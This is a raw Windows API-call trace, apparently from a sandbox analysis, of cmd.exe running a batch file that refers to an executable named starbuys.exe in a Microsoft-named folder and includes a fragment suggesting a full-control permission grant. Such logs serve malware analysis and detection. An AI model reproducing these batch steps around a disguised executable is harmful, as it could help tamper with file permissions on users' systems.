hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x5d0000) returned 1 [0117.875] GetEnvironmentStringsW () returned 0x5e5fc8* [0117.875] GetProcessHeap () returned 0x5d0000 [0117.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb5c) returned 0x5e81b0 [0117.875] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0117.875] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0117.875] GetProcessHeap () returned 0x5d0000 [0117.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x5d0000) returned 1 [0117.875] GetEnvironmentStringsW () returned 0x5e5fc8* [0117.875] GetProcessHeap () returned 0x5d0000 [0117.875] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb5c) returned 0x5e81b0 [0117.875] FreeEnvironmentStringsW (penv=0x5e5fc8) returned 1 [0117.875] GetProcessHeap () returned 0x5d0000 [0117.875] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0db8 | out: hHeap=0x5d0000) returned 1 [0117.875] DeleteProcThreadAttributeList (in: lpAttributeList=0x2ae950 | out: lpAttributeList=0x2ae950) [0117.875] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.875] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0117.875] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.875] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0117.876] _get_osfhandle (_FileHandle=0) returned 0x3 [0117.876] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0117.876] SetConsoleInputExeNameW () returned 0x1 [0117.876] GetConsoleOutputCP () returned 0x1b5 [0117.876] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0117.876] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0117.877] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0117.877] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.877] SetFilePointer (in: hFile=0x78, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4ab0 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4980 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4858 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4d28 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e47a8 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4590 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.877] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4510 | out: hHeap=0x5d0000) returned 1 [0117.877] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e43e0 | out: hHeap=0x5d0000) returned 1 [0117.878] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e42b8 | out: hHeap=0x5d0000) returned 1 [0117.878] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4248 | out: hHeap=0x5d0000) returned 1 [0117.878] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41a8 | out: hHeap=0x5d0000) returned 1 [0117.878] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e36b0 | out: hHeap=0x5d0000) returned 1 [0117.878] GetProcessHeap () returned 0x5d0000 [0117.878] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d1250 | out: hHeap=0x5d0000) returned 1 [0117.878] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.878] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0117.878] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0xb3, lpOverlapped=0x0) returned 1 [0117.879] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0117.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=16, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="set FN=\"%~nx1\"\r\nUSERNAME%:F /C\r\n") returned 16 [0117.879] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.879] GetFileType (hFile=0x78) returned 0x1 [0117.879] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.879] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0117.879] GetProcessHeap () returned 0x5d0000 [0117.879] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0117.880] GetProcessHeap () returned 0x5d0000 [0117.880] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5e41a8 [0117.880] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", nBufferLength=0x208, lpBuffer=0x2ae8e0, lpFilePart=0x2ae8d8 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", lpFilePart=0x2ae8d8*="starbuys.exe") returned 0x40 [0117.880] FindFirstFileW (in: lpFileName="C:\\Program Files", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xca90ed40, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xca90ed40, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 0x5d1250 [0117.880] FindClose (in: hFindFile=0x5d1250 | out: hFindFile=0x5d1250) returned 1 [0117.880] _wcsnicmp (_String1="PROGRA~1", _String2="Program Files", _MaxCount=0xd) returned 17 [0117.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 0x5d1250 [0117.880] FindClose (in: hFindFile=0x5d1250 | out: hFindFile=0x5d1250) returned 1 [0117.880] _wcsnicmp (_String1="MID7C0~1", _String2="Microsoft Synchronization Services", _MaxCount=0x22) returned 1 [0117.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\starbuys.exe", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74d57b0, ftCreationTime.dwHighDateTime=0x1d57b81, ftLastAccessTime.dwLowDateTime=0x29cd9a10, ftLastAccessTime.dwHighDateTime=0x1d569cd, ftLastWriteTime.dwLowDateTime=0x29cd9a10, ftLastWriteTime.dwHighDateTime=0x1d569cd, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="starbuys.exe", cAlternateFileName="")) returned 0x5d1250 [0117.880] FindClose (in: hFindFile=0x5d1250 | out: hFindFile=0x5d1250) returned 1 [0117.881] GetProcessHeap () returned 0x5d0000 [0117.881] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x22) returned 0x5df500 [0117.881] GetProcessHeap () returned 0x5d0000 [0117.881] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0117.882] _tell (_FileHandle=3) returned 63 [0117.882] _close (_FileHandle=3) returned 0 [0117.882] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aef24 | out: _Buffer="\r\n") returned 2 [0117.882] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.882] GetFileType (hFile=0x7) returned 0x2 [0117.882] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.882] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee4 | out: lpMode=0x2aeee4) returned 1 [0117.883] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.883] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aef10*=0x2) returned 1 [0117.884] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0117.884] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.884] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aef20 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0117.884] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aef20 | out: _Buffer=">") returned 1 [0117.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.884] GetFileType (hFile=0x7) returned 0x2 [0117.885] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.885] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee8 | out: lpMode=0x2aeee8) returned 1 [0117.885] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.885] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aef14, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aef14*=0x26) returned 1 [0117.885] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.885] GetFileType (hFile=0x7) returned 0x2 [0117.886] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.886] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af16c | out: lpMode=0x2af16c) returned 1 [0117.886] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.886] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5d0dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x2af198, lpReserved=0x0 | out: lpBuffer=0x5d0dc0*, lpNumberOfCharsWritten=0x2af198*=0x3) returned 1 [0117.886] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af1a4 | out: _Buffer=" FN=\"starbuys.exe\" ") returned 19 [0117.886] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.886] GetFileType (hFile=0x7) returned 0x2 [0117.886] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.886] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.887] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.887] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x13, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x13) returned 1 [0117.887] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af1c4 | out: _Buffer="\r\n") returned 2 [0117.887] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.887] GetFileType (hFile=0x7) returned 0x2 [0117.887] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.887] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af184 | out: lpMode=0x2af184) returned 1 [0117.888] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.888] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af1b0*=0x2) returned 1 [0117.889] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0117.889] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0117.889] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0117.889] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0117.889] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0117.889] _wcsicmp (_String1="set", _String2="CD") returned 16 [0117.889] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0117.889] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0117.889] _wcsicmp (_String1="set", _String2="REN") returned 1 [0117.889] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0117.889] _wcsicmp (_String1="set", _String2="SET") returned 0 [0117.889] GetConsoleTitleW (in: lpConsoleTitle=0x2aed34, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0117.890] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0117.890] SetEnvironmentVariableW (lpName="FN", lpValue="\"starbuys.exe\"") returned 1 [0117.890] GetProcessHeap () returned 0x5d0000 [0117.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e81b0 | out: hHeap=0x5d0000) returned 1 [0117.890] GetEnvironmentStringsW () returned 0x5e6b50* [0117.890] GetProcessHeap () returned 0x5d0000 [0117.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xb80) returned 0x5e76d8 [0117.890] FreeEnvironmentStringsW (penv=0x5e6b50) returned 1 [0117.890] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.890] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0117.890] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.890] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0117.891] _get_osfhandle (_FileHandle=0) returned 0x3 [0117.891] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0117.891] SetConsoleInputExeNameW () returned 0x1 [0117.891] GetConsoleOutputCP () returned 0x1b5 [0117.891] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0117.891] SetThreadUILanguage (LangId=0x0) returned 0x409 [0117.891] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2af16c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0117.892] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0117.892] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.892] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e42b0 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4278 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e4240 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d0db8 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d1250 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5df500 | out: hHeap=0x5d0000) returned 1 [0117.892] GetProcessHeap () returned 0x5d0000 [0117.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e41a8 | out: hHeap=0x5d0000) returned 1 [0117.892] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.892] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0117.893] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2af150, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x2af150*=0xa3, lpOverlapped=0x0) returned 1 [0117.893] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0117.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0117.893] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.893] GetFileType (hFile=0x78) returned 0x1 [0117.893] _get_osfhandle (_FileHandle=3) returned 0x78 [0117.893] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0117.893] GetProcessHeap () returned 0x5d0000 [0117.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5f4bd8 [0117.893] GetProcessHeap () returned 0x5d0000 [0117.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x70) returned 0x5d1250 [0117.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x2ae8e0, lpFilePart=0x2ae8d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x2ae8d8*="Bt3xnwko.bat") returned 0x32 [0117.893] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5e41a8 [0117.894] FindClose (in: hFindFile=0x5e41a8 | out: hFindFile=0x5e41a8) returned 1 [0117.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5e41a8 [0117.894] FindClose (in: hFindFile=0x5e41a8 | out: hFindFile=0x5e41a8) returned 1 [0117.894] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0117.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5e41a8 [0117.894] FindClose (in: hFindFile=0x5e41a8 | out: hFindFile=0x5e41a8) returned 1 [0117.894] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x2ae5f4 | out: lpFindFileData=0x2ae5f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x5e41a8 [0117.894] FindClose (in: hFindFile=0x5e41a8 | out: hFindFile=0x5e41a8) returned 1 [0117.894] GetProcessHeap () returned 0x5d0000 [0117.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x56) returned 0x5e41a8 [0117.894] GetProcessHeap () returned 0x5d0000 [0117.894] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f4bd8 | out: hHeap=0x5d0000) returned 1 [0117.895] _tell (_FileHandle=3) returned 78 [0117.895] _close (_FileHandle=3) returned 0 [0117.896] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2aef24 | out: _Buffer="\r\n") returned 2 [0117.896] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.896] GetFileType (hFile=0x7) returned 0x2 [0117.896] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.896] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee4 | out: lpMode=0x2aeee4) returned 1 [0117.896] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.896] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2aef10, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2aef10*=0x2) returned 1 [0117.898] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0117.898] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0117.898] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2aef20 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0117.898] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2aef20 | out: _Buffer=">") returned 1 [0117.898] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.898] GetFileType (hFile=0x7) returned 0x2 [0117.898] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.899] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2aeee8 | out: lpMode=0x2aeee8) returned 1 [0117.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.899] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x2aef14, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x2aef14*=0x26) returned 1 [0117.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.899] GetFileType (hFile=0x7) returned 0x2 [0117.899] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.899] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af16c | out: lpMode=0x2af16c) returned 1 [0117.900] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.900] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5d0dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af198, lpReserved=0x0 | out: lpBuffer=0x5d0dc0*, lpNumberOfCharsWritten=0x2af198*=0x2) returned 1 [0117.900] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2af1a4 | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0117.900] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.900] GetFileType (hFile=0x7) returned 0x2 [0117.900] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.900] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af164 | out: lpMode=0x2af164) returned 1 [0117.901] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.901] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x2af190, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x2af190*=0x2d) returned 1 [0117.902] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2af1c4 | out: _Buffer="\r\n") returned 2 [0117.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.902] GetFileType (hFile=0x7) returned 0x2 [0117.902] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0117.902] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2af184 | out: lpMode=0x2af184) returned 1 [0117.903] _get_osfhandle (_FileHandle=1) returned 0x7 [0117.903] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2af1b0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, 